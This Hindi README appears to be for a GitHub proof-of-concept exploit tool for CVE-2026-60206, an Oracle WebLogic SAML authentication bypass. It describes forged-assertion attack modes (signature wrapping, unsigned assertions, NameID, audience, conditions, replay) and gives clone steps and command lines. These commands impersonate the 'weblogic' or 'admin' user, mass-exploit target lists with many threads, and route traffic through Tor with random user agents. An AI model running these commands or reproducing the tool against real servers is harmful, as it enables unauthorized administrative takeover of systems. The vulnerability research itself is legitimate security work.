
CVE-2026-60206 के लिए तकनीकी विश्लेषण और Proof-of-Concept (PoC), जो Oracle WebLogic Server में SAML प्रमाणीकरण बायपास से संबंधित एक गंभीर भेद्यता है।
यह रिपॉजिटरी CVE‑2026‑60206 के लिए एक प्रूफ‑ऑफ‑कॉन्सेप्ट एक्सप्लॉइट प्रदान करती है, जो Oracle WebLogic Server के SAML कार्यान्वयन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता है। यह दोष एक रिमोट, निम्न‑विशेषाधिकार प्राप्त हमलावर को SAML अभिकथन (assertions) जाली बनाकर सर्वर से पूरी तरह समझौता करने की अनुमति देता है।
⚠️ अस्वीकरण: यह टूल केवल अधिकृत सुरक्षा अनुसंधान और परीक्षण के लिए है। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
CVE-2026-60206 Oracle WebLogic Server के Core घटक को प्रभावित करती है। यह भेद्यता SAML प्रोटोकॉल कार्यान्वयन में अनुचित प्रमाणीकरण प्रबंधन से उत्पन्न होती है। कई हमले वैक्टर—जैसे XML सिग्नेचर रैपिंग (XSW), अहस्ताक्षरित अभिकथन स्वीकृति, NameID हेरफेर, और audience/conditions बाईपास—हमलावर को मनमाने उपयोगकर्ताओं (जैसे weblogic) का रूप धारण करने और प्रशासनिक पहुँच प्राप्त करने की अनुमति देते हैं।
प्रभावित संस्करण:
PoC निम्नलिखित हमले वैक्टर लागू करता है:
WantAssertionsSigned लागू नहीं है)।AudienceRestriction को हटाना या संशोधित करना।NotBefore/NotOnOrAfter में हेरफेर करना।all, unsigned, xsw, nameid, audience, conditions, combo, या replay में से चुनें।-l के माध्यम से)।-r)।httpx का उपयोग करता है, अन्यथा requests (HTTP/1.1) पर वापस आ जाता है।--save-payloads)।-c / --check) – शीघ्रता से निर्धारित करें कि लक्ष्य असुरक्षित है या नहीं (गैर‑शोषण)।git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
आवश्यक: requests, urllib3
वैकल्पिक (कार्यक्षमता में सुधार):
httpx – HTTP/2 समर्थन के लिएlxml – उन्नत SAML पार्सिंग के लिएsignxml, cryptography – सिग्नेचर हैंडलिंग के लिए (शोषण के लिए आवश्यक नहीं)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| फ्लैग | विवरण |
|---|---|
-h, --help | सहायता संदेश दिखाएँ और बाहर निकलें। |
--proxy PROXY | प्रॉक्सी URL (--tor उपयोग किए जाने पर इसे ओवरराइड करता है)। |
--no-verify | SSL प्रमाणपत्र सत्यापन अक्षम करें। |
--cookie COOKIE | सत्र कुकी(ज़) (जैसे, name=value; name2=value2)। |
--auth AUTH | बेसिक प्रमाणीकरण क्रेडेंशियल (USER:PASS)। |
| फ्लैग | विवरण |
|---|---|
-t, --target TARGET | एकल लक्ष्य URL (जैसे, https://host:7002)। |
-l, --list LIST | मास स्कैन के लिए लक्ष्य सूची फ़ाइल, या एकल URL। |
-f, --file FILE | --list का उपनाम। |
| फ्लैग | विवरण |
|---|---|
-r, --requestfile REQUESTFILE | फ़ाइल से रॉ HTTP अनुरोध लोड करें (SAML हमलों को प्रतिस्थापित करता है)। |
--method METHOD | उपयोग करने के लिए HTTP विधि (रॉ अनुरोध या एकल अनुरोध के लिए; डिफ़ॉल्ट: GET)। |
--random-agent | अंतर्निहित सूची से यादृच्छिक User‑Agent का उपयोग करें। |
-A, --user-agent USER_AGENT | कस्टम User‑Agent हेडर मान। |
--tor | Tor गुमनामी नेटवर्क का उपयोग करें (डिफ़ॉल्ट रूप से SOCKS5)। |
--tor-port TOR_PORT | Tor प्रॉक्सी पोर्ट (डिफ़ॉल्ट: 9050)। |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tor प्रॉक्सी प्रकार (डिफ़ॉल्ट: SOCKS5)। |
--check-tor | जाँचें कि Tor सही ढंग से उपयोग हो रहा है या नहीं (निर्णय के साथ बाहर निकलता है)। |
--delay DELAY | प्रत्येक अनुरोध के बीच सेकंड में विलंब। |
--timeout TIMEOUT | सेकंड में टाइमआउट (डिफ़ॉल्ट: 30)। |
--retries RETRIES | टाइमआउट/त्रुटियों पर रीट्राय की संख्या (डिफ़ॉल्ट: 3)। |
--retry-on RETRY_ON | यदि प्रतिक्रिया सामग्री regex से मेल खाती है तो अनुरोध दोबारा करें (जैसे, 'captcha')। |
-dr, --disable-redirects | HTTP रीडायरेक्ट का अनुसरण अक्षम करें। |
| फ्लैग | विवरण |
|---|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | हमला मोड (डिफ़ॉल्ट: all)। |
--detect | केवल WebLogic संस्करण और SAML कॉन्फ़िगरेशन का पता लगाएँ (कोई हमला नहीं)। |
-c, --check | त्वरित भेद्यता जाँच (केवल पहचान, निर्णय के साथ बाहर निकलें)। |
-u, --user USER | रूप धारण करने के लिए लक्ष्य उपयोगकर्ता (डिफ़ॉल्ट: weblogic)। |
--groups GROUPS | SAML अभिकथन में शामिल करने के लिए समूह (डिफ़ॉल्ट: Administrators,Monitors)। |
--issuer ISSUER | SAML जारीकर्ता इकाई ID। |
--audience AUDIENCE | SAML Audience इकाई ID। |
--relay-state RELAY_STATE | SAML POST के लिए RelayState पैरामीटर। |
--base64 | POST में SAML प्रतिक्रिया को Base64‑एनकोड करें। |
--extra-attrs [NAME=VALUE ...] | अतिरिक्त SAML विशेषताएँ (जैसे, role=admin)। |
--replay-file REPLAY_FILE | रीप्ले के लिए कैप्चर की गई SAML प्रतिक्रिया का पथ। |
--save-payloads | उत्पन्न SAML पेलोड को ./payloads/ में सहेजें। |
--continue-on-success | सफल हमले के बाद परीक्षण जारी रखें। |